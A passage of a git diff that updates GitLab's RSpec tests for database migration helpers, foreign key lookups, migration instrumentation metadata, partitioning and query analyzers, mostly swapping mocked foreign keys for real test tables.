@@ -861,6 +932,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
"ADD CONSTRAINT fk_multiple_columns\n" \
"FOREIGN KEY \(partition_number, user_id\)\n" \
"REFERENCES users \(partition_number, id\)\n" \
+ "ON UPDATE CASCADE\n" \
"ON DELETE CASCADE\n" \
"NOT VALID;\n"
)
@@ -871,7 +943,8 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
column: [:partition_number, :user_id],
target_column: [:partition_number, :id],
validate: false,
- name: :fk_multiple_columns
+ name: :fk_multiple_columns,
+ on_update: :cascade
)
end
@@ -883,6 +956,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
{
column: [:partition_number, :user_id],
name: :fk_multiple_columns,
+ on_update: :cascade,
on_delete: :cascade,
primary_key: [:partition_number, :id]
}
@@ -898,6 +972,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
:users,
column: [:partition_number, :user_id],
target_column: [:partition_number, :id],
+ on_update: :cascade,
validate: false,
name: :fk_multiple_columns
)
@@ -973,58 +1048,58 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
describe '#foreign_key_exists?' do
before do
- key = ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
- :projects, :users,
- {
- column: :non_standard_id,
- name: :fk_projects_users_non_standard_id,
- on_delete: :cascade,
- primary_key: :id
- }
- )
- allow(model).to receive(:foreign_keys).with(:projects).and_return([key])
+ model.connection.execute(<<~SQL)
+ create table referenced (
+ id bigserial primary key not null
+ );
+ create table referencing (
+ id bigserial primary key not null,
+ non_standard_id bigint not null,
+ constraint fk_referenced foreign key (non_standard_id) references referenced(id) on delete cascade
+ );
+ SQL
end
shared_examples_for 'foreign key checks' do
it 'finds existing foreign keys by column' do
- expect(model.foreign_key_exists?(:projects, target_table, column: :non_standard_id)).to be_truthy
+ expect(model.foreign_key_exists?(:referencing, target_table, column: :non_standard_id)).to be_truthy
end
it 'finds existing foreign keys by name' do
- expect(model.foreign_key_exists?(:projects, target_table, name: :fk_projects_users_non_standard_id)).to be_truthy
+ expect(model.foreign_key_exists?(:referencing, target_table, name: :fk_referenced)).to be_truthy
end
it 'finds existing foreign_keys by name and column' do
- expect(model.foreign_key_exists?(:projects, target_table, name: :fk_projects_users_non_standard_id, column: :non_standard_id)).to be_truthy
+ expect(model.foreign_key_exists?(:referencing, target_table, name: :fk_referenced, column: :non_standard_id)).to be_truthy
end
it 'finds existing foreign_keys by name, column and on_delete' do
- expect(model.foreign_key_exists?(:projects, target_table, name: :fk_projects_users_non_standard_id, column: :non_standard_id, on_delete: :cascade)).to be_truthy
+ expect(model.foreign_key_exists?(:referencing, target_table, name: :fk_referenced, column: :non_standard_id, on_delete: :cascade)).to be_truthy
end
it 'finds existing foreign keys by target table only' do
- expect(model.foreign_key_exists?(:projects, target_table)).to be_truthy
+ expect(model.foreign_key_exists?(:referencing, target_table)).to be_truthy
end
it 'compares by column name if given' do
- expect(model.foreign_key_exists?(:projects, target_table, column: :user_id)).to be_falsey
+ expect(model.foreign_key_exists?(:referencing, target_table, column: :user_id)).to be_falsey
end
it 'compares by target column name if given' do
- expect(model.foreign_key_exists?(:projects, target_table, primary_key: :user_id)).to be_falsey
- expect(model.foreign_key_exists?(:projects, target_table, primary_key: :id)).to be_truthy
+ expect(model.foreign_key_exists?(:referencing, target_table, primary_key: :user_id)).to be_falsey
+ expect(model.foreign_key_exists?(:referencing, target_table, primary_key: :id)).to be_truthy
end
it 'compares by foreign key name if given' do
- expect(model.foreign_key_exists?(:projects, target_table, name: :non_existent_foreign_key_name)).to be_falsey
+ expect(model.foreign_key_exists?(:referencing, target_table, name: :non_existent_foreign_key_name)).to be_falsey
end
it 'compares by foreign key name and column if given' do
- expect(model.foreign_key_exists?(:projects, target_table, name: :non_existent_foreign_key_name, column: :non_standard_id)).to be_falsey
+ expect(model.foreign_key_exists?(:referencing, target_table, name: :non_existent_foreign_key_name, column: :non_standard_id)).to be_falsey
end
it 'compares by foreign key name, column and on_delete if given' do
- expect(model.foreign_key_exists?(:projects, target_table, name: :fk_projects_users_non_standard_id, column: :non_standard_id, on_delete: :nullify)).to be_falsey
+ expect(model.foreign_key_exists?(:referencing, target_table, name: :fk_referenced, column: :non_standard_id, on_delete: :nullify)).to be_falsey
end
end
@@ -1035,7 +1110,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
end
context 'specifying a target table' do
- let(:target_table) { :users }
+ let(:target_table) { :referenced }
it_behaves_like 'foreign key checks'
end
@@ -1044,59 +1119,66 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
expect(model.foreign_key_exists?(:projects, :other_table)).to be_falsey
end
+ it 'raises an error if an invalid on_delete is specified' do
+ # The correct on_delete key is "nullify"
+ expect { model.foreign_key_exists?(:referenced, on_delete: :set_null) }.to raise_error(ArgumentError)
+ end
+
context 'with foreign key using multiple columns' do
before do
- key = ActiveRecord::ConnectionAdapters::ForeignKeyDefinition.new(
- :projects, :users,
- {
- column: [:partition_number, :id],
- name: :fk_projects_users_partition_number_id,
- on_delete: :cascade,
- primary_key: [:partition_number, :id]
- }
- )
- allow(model).to receive(:foreign_keys).with(:projects).and_return([key])
+ model.connection.execute(<<~SQL)
+ create table p_referenced (
+ id bigserial not null,
+ partition_number bigint not null default 100,
+ primary key (partition_number, id)
+ );
+ create table p_referencing (
+ id bigserial primary key not null,
+ partition_number bigint not null,
+ constraint fk_partitioning foreign key (partition_number, id) references p_referenced(partition_number, id) on delete cascade
+ );
+ SQL
end
it 'finds existing foreign keys by columns' do
- expect(model.foreign_key_exists?(:projects, :users, column: [:partition_number, :id])).to be_truthy
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, column: [:partition_number, :id])).to be_truthy
end
it 'finds existing foreign keys by name' do
- expect(model.foreign_key_exists?(:projects, :users, name: :fk_projects_users_partition_number_id)).to be_truthy
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, name: :fk_partitioning)).to be_truthy
end
it 'finds existing foreign_keys by name and column' do
- expect(model.foreign_key_exists?(:projects, :users, name: :fk_projects_users_partition_number_id, column: [:partition_number, :id])).to be_truthy
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, name: :fk_partitioning, column: [:partition_number, :id])).to be_truthy
end
it 'finds existing foreign_keys by name, column and on_delete' do
- expect(model.foreign_key_exists?(:projects, :users, name: :fk_projects_users_partition_number_id, column: [:partition_number, :id], on_delete: :cascade)).to be_truthy
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, name: :fk_partitioning, column: [:partition_number, :id], on_delete: :cascade)).to be_truthy
end
it 'finds existing foreign keys by target table only' do
- expect(model.foreign_key_exists?(:projects, :users)).to be_truthy
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced)).to be_truthy
end
it 'compares by column name if given' do
- expect(model.foreign_key_exists?(:projects, :users, column: :id)).to be_falsey
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, column: :id)).to be_falsey
end
it 'compares by target column name if given' do
- expect(model.foreign_key_exists?(:projects, :users, primary_key: :user_id)).to be_falsey
- expect(model.foreign_key_exists?(:projects, :users, primary_key: [:partition_number, :id])).to be_truthy
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, primary_key: :user_id)).to be_falsey
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, primary_key: [:partition_number, :id])).to be_truthy
end
it 'compares by foreign key name if given' do
- expect(model.foreign_key_exists?(:projects, :users, name: :non_existent_foreign_key_name)).to be_falsey
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, name: :non_existent_foreign_key_name)).to be_falsey
end
it 'compares by foreign key name and column if given' do
- expect(model.foreign_key_exists?(:projects, :users, name: :non_existent_foreign_key_name, column: [:partition_number, :id])).to be_falsey
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, name: :non_existent_foreign_key_name, column: [:partition_number, :id])).to be_falsey
end
it 'compares by foreign key name, column and on_delete if given' do
- expect(model.foreign_key_exists?(:projects, :users, name: :fk_projects_users_partition_number_id, column: [:partition_number, :id], on_delete: :nullify)).to be_falsey
+ expect(model.foreign_key_exists?(:p_referencing, :p_referenced, name: :fk_partitioning, column: [:partition_number, :id], on_delete: :nullify)).to be_falsey
end
end
end
@@ -1159,7 +1241,8 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
Gitlab::Database::LockWritesManager.new(
table_name: test_table,
connection: model.connection,
- database_name: 'main'
+ database_name: 'main',
+ with_retries: false
)
end
@@ -1340,7 +1423,8 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
Gitlab::Database::LockWritesManager.new(
table_name: test_table,
connection: model.connection,
- database_name: 'main'
+ database_name: 'main',
+ with_retries: false
)
end
diff --git a/spec/lib/gitlab/database/migrations/instrumentation_spec.rb b/spec/lib/gitlab/database/migrations/instrumentation_spec.rb
index 3540a120b8f..b0bdbf5c371 100644
--- a/spec/lib/gitlab/database/migrations/instrumentation_spec.rb
+++ b/spec/lib/gitlab/database/migrations/instrumentation_spec.rb
@@ -2,6 +2,8 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::Migrations::Instrumentation do
+ subject(:instrumentation) { described_class.new(result_dir: result_dir) }
+
let(:result_dir) { Dir.mktmpdir }
let(:connection) { ActiveRecord::Migration.connection }
@@ -9,17 +11,18 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
FileUtils.rm_rf(result_dir)
end
describe '#observe' do
- subject { described_class.new(result_dir: result_dir) }
-
def load_observation(result_dir, migration_name)
Gitlab::Json.parse(File.read(File.join(result_dir, migration_name, described_class::STATS_FILENAME)))
end
let(:migration_name) { 'test' }
let(:migration_version) { '12345' }
+ let(:migration_meta) { { 'max_batch_size' => 1, 'total_tuple_count' => 10, 'interval' => 60 } }
it 'executes the given block' do
- expect { |b| subject.observe(version: migration_version, name: migration_name, connection: connection, &b) }.to yield_control
+ expect do |b|
+ instrumentation.observe(version: migration_version, name: migration_name, connection: connection, meta: migration_meta, &b)
+ end.to yield_control
end
context 'behavior with observers' do
@@ -68,13 +71,17 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
end
context 'on successful execution' do
- subject { described_class.new(result_dir: result_dir).observe(version: migration_version, name: migration_name, connection: connection) {} }
+ subject do
+ instrumentation.observe(version: migration_version, name: migration_name,
+ connection: connection, meta: migration_meta) {}
+ end
it 'records a valid observation', :aggregate_failures do
expect(subject.walltime).not_to be_nil
expect(subject.success).to be_truthy
expect(subject.version).to eq(migration_version)
expect(subject.name).to eq(migration_name)
+ expect(subject.meta).to eq(migration_meta)
end
end
@@ -82,9 +89,10 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
where(exception: ['something went wrong', SystemStackError, Interrupt])
with_them do
- let(:instance) { described_class.new(result_dir: result_dir) }
-
- subject(:observe) { instance.observe(version: migration_version, name: migration_name, connection: connection) { raise exception } }
+ subject(:observe) do
+ instrumentation.observe(version: migration_version, name: migration_name,
+ connection: connection, meta: migration_meta) { raise exception }
+ end
it 'raises the exception' do
expect { observe }.to raise_error(exception)
@@ -106,14 +114,13 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
expect(subject['success']).to be_falsey
expect(subject['version']).to eq(migration_version)
expect(subject['name']).to eq(migration_name)
+ expect(subject['meta']).to include(migration_meta)
end
end
end
end
context 'sequence of migrations with failures' do
- subject { described_class.new(result_dir: result_dir) }
-
let(:migration1) { double('migration1', call: nil) }
let(:migration2) { double('migration2', call: nil) }
@@ -121,9 +128,9 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
let(:migration_version_2) { '98765' }
it 'records observations for all migrations' do
- subject.observe(version: migration_version, name: migration_name, connection: connection) {}
+ instrumentation.observe(version: migration_version, name: migration_name, connection: connection) {}
begin
- subject.observe(version: migration_version_2, name: migration_name_2, connection: connection) { raise 'something went wrong' }
+ instrumentation.observe(version: migration_version_2, name: migration_name_2, connection: connection) { raise 'something went wrong' }
rescue StandardError
nil
end
diff --git a/spec/lib/gitlab/database/migrations/test_batched_background_runner_spec.rb b/spec/lib/gitlab/database/migrations/test_batched_background_runner_spec.rb
index 73d69d55e5a..0b048617ce1 100644
--- a/spec/lib/gitlab/database/migrations/test_batched_background_runner_spec.rb
+++ b/spec/lib/gitlab/database/migrations/test_batched_background_runner_spec.rb
@@ -69,12 +69,27 @@ RSpec.describe Gitlab::Database::Migrations::TestBatchedBackgroundRunner, :freez
end
context 'running a real background migration' do
+ let(:interval) { 5.minutes }
+ let(:meta) { { "max_batch_size" => nil, "total_tuple_count" => nil, "interval" => interval } }
+
+ let(:params) do
+ {
+ version: nil,
+ connection: connection,
+ meta: {
+ interval: 300,
+ max_batch_size: nil,
+ total_tuple_count: nil
+ }
+ }
+ end
+
before do
queue_migration('CopyColumnUsingBackgroundMigrationJob',
table_name, :id,
:id, :data,
batch_size: 100,
- job_interval: 5.minutes) # job_interval is skipped when testing
+ job_interval: interval) # job_interval is skipped when testing
end
subject(:sample_migration) do
@@ -91,10 +106,9 @@ RSpec.describe Gitlab::Database::Migrations::TestBatchedBackgroundRunner, :freez
}.by_at_most(-1)
end
- it 'uses the correct connection to instrument the background migration' do
+ it 'uses the correct params to instrument the background migration' do
expect_next_instance_of(Gitlab::Database::Migrations::Instrumentation) do |instrumentation|
- expect(instrumentation).to receive(:observe).with(hash_including(connection: connection))
- .at_least(:once).and_call_original
+ expect(instrumentation).to receive(:observe).with(hash_including(params)).at_least(:once).and_call_original
end
subject
diff --git a/spec/lib/gitlab/database/partitioning_spec.rb b/spec/lib/gitlab/database/partitioning_spec.rb
index db5ca890155..855d0bc46a4 100644
--- a/spec/lib/gitlab/database/partitioning_spec.rb
+++ b/spec/lib/gitlab/database/partitioning_spec.rb
@@ -10,15 +10,15 @@ RSpec.describe Gitlab::Database::Partitioning do
around do |example|
previously_registered_models = described_class.registered_models.dup
- described_class.instance_variable_set('@registered_models', Set.new)
+ described_class.instance_variable_set(:@registered_models, Set.new)
previously_registered_tables = described_class.registered_tables.dup
- described_class.instance_variable_set('@registered_tables', Set.new)
+ described_class.instance_variable_set(:@registered_tables, Set.new)
example.run
- described_class.instance_variable_set('@registered_models', previously_registered_models)
- described_class.instance_variable_set('@registered_tables', previously_registered_tables)
+ described_class.instance_variable_set(:@registered_models, previously_registered_models)
+ described_class.instance_variable_set(:@registered_tables, previously_registered_tables)
end
describe '.register_models' do
diff --git a/spec/lib/gitlab/database/postgres_autovacuum_activity_spec.rb b/spec/lib/gitlab/database/postgres_autovacuum_activity_spec.rb
index c1ac8f0c9cd..f24c4559349 100644
--- a/spec/lib/gitlab/database/postgres_autovacuum_activity_spec.rb
+++ b/spec/lib/gitlab/database/postgres_autovacuum_activity_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::PostgresAutovacuumActivity, type: :model do
+RSpec.describe Gitlab::Database::PostgresAutovacuumActivity, type: :model, feature_category: :database do
include Database::DatabaseHelpers
it { is_expected.to be_a Gitlab::Database::SharedModel }
@@ -13,7 +13,7 @@ RSpec.describe Gitlab::Database::PostgresAutovacuumActivity, type: :model do
let(:tables) { %w[foo test] }
before do
- swapout_view_for_table(:postgres_autovacuum_activity)
+ swapout_view_for_table(:postgres_autovacuum_activity, connection: ApplicationRecord.connection)
# unrelated
create(:postgres_autovacuum_activity, table: 'bar')
diff --git a/spec/lib/gitlab/database/postgres_foreign_key_spec.rb b/spec/lib/gitlab/database/postgres_foreign_key_spec.rb
index b0e08ca1e67..a8dbc4be16f 100644
--- a/spec/lib/gitlab/database/postgres_foreign_key_spec.rb
+++ b/spec/lib/gitlab/database/postgres_foreign_key_spec.rb
@@ -2,28 +2,32 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::PostgresForeignKey, type: :model do
+RSpec.describe Gitlab::Database::PostgresForeignKey, type: :model, feature_category: :database do
# PostgresForeignKey does not `behaves_like 'a postgres model'` because it does not correspond 1-1 with a single entry
# in pg_class
before do
- ActiveRecord::Base.connection.execute(<<~SQL)
- CREATE TABLE public.referenced_table (
- id bigserial primary key not null
- );
-
- CREATE TABLE public.other_referenced_table (
- id bigserial primary key not null
- );
-
- CREATE TABLE public.constrained_table (
- id bigserial primary key not null,
- referenced_table_id bigint not null,
- other_referenced_table_id bigint not null,
- CONSTRAINT fk_constrained_to_referenced FOREIGN KEY(referenced_table_id) REFERENCES referenced_table(id),
- CONSTRAINT fk_constrained_to_other_referenced FOREIGN KEY(other_referenced_table_id)
- REFERENCES other_referenced_table(id)
- );
+ ApplicationRecord.connection.execute(<<~SQL)
+ CREATE TABLE public.referenced_table (
+ id bigserial primary key not null,
+ id_b bigserial not null,
+ UNIQUE (id, id_b)
+ );
+
+ CREATE TABLE public.other_referenced_table (
+ id bigserial primary key not null
+ );
+
+ CREATE TABLE public.constrained_table (
+ id bigserial primary key not null,
+ referenced_table_id bigint not null,
+ referenced_table_id_b bigint not null,
+ other_referenced_table_id bigint not null,
+ CONSTRAINT fk_constrained_to_referenced FOREIGN KEY(referenced_table_id, referenced_table_id_b) REFERENCES referenced_table(id, id_b) on delete restrict,
+ CONSTRAINT fk_constrained_to_other_referenced FOREIGN KEY(other_referenced_table_id)
+ REFERENCES other_referenced_table(id)
+ );
+
SQL
end
@@ -39,6 +43,14 @@ RSpec.describe Gitlab::Database::PostgresForeignKey, type: :model do
end
end
+ describe '#by_referenced_table_name' do
+ it 'finds the foreign keys for the referenced table' do
+ expected = described_class.find_by!(name: 'fk_constrained_to_referenced')
+
+ expect(described_class.by_referenced_table_name('referenced_table')).to contain_exactly(expected)
+ end
+ end
+
describe '#by_constrained_table_identifier' do
it 'throws an error when the identifier name is not fully qualified' do
expect { described_class.by_constrained_table_identifier('constrained_table') }.to raise_error(ArgumentError, /not fully qualified/)
@@ -50,4 +62,147 @@ RSpec.describe Gitlab::Database::PostgresForeignKey, type: :model do
expect(described_class.by_constrained_table_identifier('public.constrained_table')).to match_array(expected)
end
end
+
+ describe '#by_constrained_table_name' do
+ it 'finds the foreign keys for the constrained table' do
+ expected = described_class.where(name: %w[fk_constrained_to_referenced fk_constrained_to_other_referenced]).to_a
+
+ expect(described_class.by_constrained_table_name('constrained_table')).to match_array(expected)
+ end
+ end
+
+ describe '#by_name' do
+ it 'finds foreign keys by name' do
+ expect(described_class.by_name('fk_constrained_to_referenced').pluck(:name)).to contain_exactly('fk_constrained_to_referenced')
+ end
+ end
+
+ context 'when finding columns for foreign keys' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:fks) { described_class.by_constrained_table_name('constrained_table') }
+
+ where(:fk, :expected_constrained, :expected_referenced) do
+ lazy { described_class.find_by(name: 'fk_constrained_to_referenced') } | %w[referenced_table_id referenced_table_id_b] | %w[id id_b]
+ lazy { described_class.find_by(name: 'fk_constrained_to_other_referenced') } | %w[other_referenced_table_id] | %w[id]
+ end
+
+ with_them do
+ it 'finds the correct constrained column names' do
+ expect(fk.constrained_columns).to eq(expected_constrained)
+ end
+
+ it 'finds the correct referenced column names' do
+ expect(fk.referenced_columns).to eq(expected_referenced)
+ end
+
+ describe '#by_constrained_columns' do
+ it 'finds the correct foreign key' do
+ expect(fks.by_constrained_columns(expected_constrained)).to contain_exactly(fk)
+ end
+ end
+
+ describe '#by_referenced_columns' do
+ it 'finds the correct foreign key' do
+ expect(fks.by_referenced_columns(expected_referenced)).to contain_exactly(fk)
+ end
+ end
+ end
+ end
+
+ describe '#on_delete_action' do
+ before do
+ ApplicationRecord.connection.execute(<<~SQL)
+ create table public.referenced_table_all_on_delete_actions (
+ id bigserial primary key not null
+ );
+
+ create table public.constrained_table_all_on_delete_actions (
+ id bigserial primary key not null,
+ ref_id_no_action bigint not null constraint fk_no_action references referenced_table_all_on_delete_actions(id),
+ ref_id_restrict bigint not null constraint fk_restrict references referenced_table_all_on_delete_actions(id) on delete restrict,
+ ref_id_nullify bigint not null constraint fk_nullify references referenced_table_all_on_delete_actions(id) on delete set null,
+ ref_id_cascade bigint not null constraint fk_cascade references referenced_table_all_on_delete_actions(id) on delete cascade,
+ ref_id_set_default bigint not null constraint fk_set_default references referenced_table_all_on_delete_actions(id) on delete set default
+ )
+ SQL
+ end
+
+ let(:fks) { described_class.by_constrained_table_name('constrained_table_all_on_delete_actions') }
+
+ context 'with an invalid on_delete_action' do
+ it 'raises an error' do
+ # the correct value is :nullify, not :set_null
+ expect { fks.by_on_delete_action(:set_null) }.to raise_error(ArgumentError)
+ end
+ end
+
+ where(:fk_name, :expected_on_delete_action) do
+ [
+ %w[fk_no_action no_action],
+ %w[fk_restrict restrict],
+ %w[fk_nullify nullify],
+ %w[fk_cascade cascade],
+ %w[fk_set_default set_default]
+ ]
+ end
+
+ with_them do
+ subject(:fk) { fks.find_by(name: fk_name) }
+
+ it 'has the appropriate on delete action' do
+ expect(fk.on_delete_action).to eq(expected_on_delete_action)
+ end
+
+ describe '#by_on_delete_action' do
+ it 'finds the key by on delete action' do
+ expect(fks.by_on_delete_action(expected_on_delete_action)).to contain_exactly(fk)
+ end
+ end
+ end
+ end
+
+ context 'when supporting foreign keys to inherited tables in postgres 12' do
+ before do
+ skip('not supported before postgres 12') if ApplicationRecord.database.version.to_f < 12
+
+ ApplicationRecord.connection.execute(<<~SQL)
+ create table public.parent (
+ id bigserial primary key not null
+ ) partition by hash(id);
+
+ create table public.child partition of parent for values with (modulus 2, remainder 1);
+
+ create table public.referencing_partitioned (
+ id bigserial not null primary key,
+ constraint fk_inherited foreign key (id) references parent(id)
+ )
+ SQL
+ end
+
+ describe '#is_inherited' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:fk, :inherited) do
+ lazy { described_class.find_by(name: 'fk_inherited') } | false
+ lazy { described_class.by_referenced_table_identifier('public.child').first! } | true
+ lazy { described_class.find_by(name: 'fk_constrained_to_referenced') } | false
+ end
+
+ with_them do
+ it 'has the appropriate inheritance value' do
+ expect(fk.is_inherited).to eq(inherited)
+ end
+ end
+ end
+
+ describe '#not_inherited' do
+ let(:fks) { described_class.by_constrained_table_identifier('public.referencing_partitioned') }
+
+ it 'lists all non-inherited foreign keys' do
+ expect(fks.pluck(:referenced_table_name)).to contain_exactly('parent', 'child')
+ expect(fks.not_inherited.pluck(:referenced_table_name)).to contain_exactly('parent')
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/query_analyzer_spec.rb b/spec/lib/gitlab/database/query_analyzer_spec.rb
index 6dc9ffc4aba..0b849063562 100644
--- a/spec/lib/gitlab/database/query_analyzer_spec.rb
+++ b/spec/lib/gitlab/database/query_analyzer_spec.rb
@@ -10,7 +10,6 @@ RSpec.describe Gitlab::Database::QueryAnalyzer, query_analyzers: false do
before do
allow(described_class.instance).to receive(:all_analyzers).and_return([analyzer, disabled_analyzer])
allow(analyzer).to receive(:enabled?).and_return(true)
- allow(analyzer).to receive(:raw?).and_return(false)
allow(analyzer).to receive(:suppressed?).and_return(false)
allow(analyzer).to receive(:begin!)
allow(analyzer).to receive(:end!)
@@ -182,13 +181,6 @@ RSpec.describe Gitlab::Database::QueryAnalyzer, query_analyzers: false do
expect { process_sql("SELECT 1 FROM projects") }.not_to raise_error
end
- it 'does call analyze with raw sql when raw? is true' do
- expect(analyzer).to receive(:raw?).and_return(true)
- expect(analyzer).to receive(:analyze).with('SELECT 1 FROM projects')
-
- expect { process_sql("SELECT 1 FROM projects") }.not_to raise_error
- end
-
def process_sql(sql)
described_class.instance.within do
ApplicationRecord.load_balancer.read_write do |connection|
diff --git a/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb b/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb
index 62c5ead855a..3a92f35d585 100644
--- a/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb
+++ b/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb
@@ -53,6 +53,14 @@ RSpec.describe Gitlab::Database::QueryAnalyzers::GitlabSchemasMetrics, query_ana
gitlab_schemas: "gitlab_ci",
db_config_name: "ci"
}
+ },
+ "for query accessing gitlab_main and unknown schema" => {
+ model: ApplicationRecord,
+ sql: "SELECT 1 FROM projects LEFT JOIN not_in_schema ON not_in_schema.project_id=projects.id",
+ expectations: {
+ gitlab_schemas: "gitlab_main,undefined_not_in_schema",
+ db_config_name: "main"
+ }
}
}
end
diff --git a/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection_spec.rb b/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection_spec.rb
index ddf5793049d..47038bbd138 100644
--- a/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection_spec.rb
+++ b/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_validate_connection_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::QueryAnalyzers::GitlabSchemasValidateConnection, query_analyzers: false do
+RSpec.describe Gitlab::Database::QueryAnalyzers::GitlabSchemasValidateConnection, query_analyzers: false,
+ feature_category: :pods do
let(:analyzer) { described_class }
# We keep only the GitlabSchemasValidateConnection analyzer running
@@ -51,6 +52,12 @@ RSpec.describe Gitlab::Database::QueryAnalyzers::GitlabSchemasValidateConnection
sql: "SELECT 1 FROM ci_builds",
expect_error: /The query tried to access \["ci_builds"\]/,
setup: -> (_) { skip_if_multiple_databases_not_setup }
+ },
+ "for query accessing unknown gitlab_schema" => {
+ model: ::ApplicationRecord,
+ sql: "SELECT 1 FROM new_table",
+ expect_error: /The query tried to access \["new_table"\] \(of undefined_new_table\)/,
+ setup: -> (_) { skip_if_multiple_databases_not_setup }
}
}
end
diff --git a/spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb b/spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb
index 22a70dc7df0..a4322689bf9 100644
--- a/spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb
+++ b/spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::QueryAnalyzers::PreventCrossDatabaseModification, query_analyzers: false do
+RSpec.describe Gitlab::Database::QueryAnalyzers::PreventCrossDatabaseModification, query_analyzers: false,
+ feature_category: :pods do
let_it_be(:pipeline, refind: true) { create(:ci_pipeline) }
let_it_be(:project, refind: true) { create(:project) }
diff --git a/spec/lib/gitlab/database/query_analyzers/query_recorder_spec.rb b/spec/lib/gitlab/database/query_analyzers/query_recorder_spec.rb
index bcc39c0c3db..22ff66ff55e 100644
--- a/spec/lib/gitlab/database/query_analyzers/query_recorder_spec.rb
+++ b/spec/lib/gitlab/database/query_analyzers/query_recorder_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::QueryAnalyzers::QueryRecorder, query_analyzers: false do
+RSpec.describe Gitlab::Database::QueryAnalyzers::QueryRecorder, feature_category: :database, query_analyzers: false do
# We keep only the QueryRecorder analyzer running
around do |example|
described_class.with_suppressed(false) do
@@ -11,7 +11,6 @@ RSpec.describe Gitlab::Database::QueryAnalyzers::QueryRecorder, query_analyzers:
end
context 'with query analyzer' do
- let(:query) { 'SELECT 1 FROM projects' }
let(:log_path) { Rails.root.join(described_class::LOG_PATH) }
let(:log_file) { described_class.log_file }
@@ -20,14 +19,44 @@ RSpec.describe Gitlab::Database::QueryAnalyzers::QueryRecorder, query_analyzers:
end
shared_examples_for 'an enabled query recorder' do
- it 'logs queries to a file' do
- allow(FileUtils).to receive(:mkdir_p)
- .with(log_path)
- expect(File).to receive(:write)
- .with(log_file, /^{"sql":"#{query}/, mode: 'a')
- expect(described_class).to receive(:analyze).with(/^#{query}/).and_call_original
-
- expect { ApplicationRecord.connection.execute(query) }.not_to raise_error
+ using RSpec::Parameterized::TableSyntax
+
+ normalized_query = <<~SQL.strip.tr("\n", ' ')
+ SELECT \\\\"projects\\\\".\\\\"id\\\\"
+ FROM \\\\"projects\\\\"
+ WHERE \\\\"projects\\\\".\\\\"namespace_id\\\\" = \\?
+ AND \\\\"projects\\\\".\\\\"id\\\\" IN \\(\\?,\\?,\\?\\);
+ SQL
+
+ where(:list_parameter, :bind_parameters) do
+ '$2, $3' | [1, 2, 3]
+ '$2, $3, $4' | [1, 2, 3, 4]
+ '$2 ,$3 ,$4 ,$5' | [1, 2, 3, 4, 5]
+ '$2 , $3 , $4 , $5, $6' | [1, 2, 3, 4, 5, 6]
+ '$2, $3 ,$4 , $5,$6,$7' | [1, 2, 3, 4, 5, 6, 7]
+ '$2,$3,$4,$5,$6,$7,$8' | [1, 2, 3, 4, 5, 6, 7, 8]
+ end
+
+ with_them do
+ before do
+ allow(described_class).to receive(:analyze).and_call_original
+ allow(FileUtils).to receive(:mkdir_p)
+ .with(log_path)
+ end
+
+ it 'logs normalized queries to a file' do
+ expect(File).to receive(:write)
+ .with(log_file, /^{"normalized":"#{normalized_query}/, mode: 'a')
+
+ expect do
+ ApplicationRecord.connection.exec_query(<<~SQL.strip.tr("\n", ' '), 'SQL', bind_parameters)
+ SELECT "projects"."id"
+ FROM "projects"
+ WHERE "projects"."namespace_id" = $1
+ AND "projects"."id" IN (#{list_parameter});
+ SQL
+ end.not_to raise_error
+ end
end
end
diff --git a/spec/lib/gitlab/database/reindexing/coordinator_spec.rb b/spec/lib/gitlab/database/reindexing/coordinator_spec.rb
index bb91617714a..bf993e85cb8 100644
--- a/spec/lib/gitlab/database/reindexing/coordinator_spec.rb
+++ b/spec/lib/gitlab/database/reindexing/coordinator_spec.rb
@@ -2,16 +2,18 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::Reindexing::Coordinator do
+RSpec.describe Gitlab::Database::Reindexing::Coordinator, feature_category: :database do
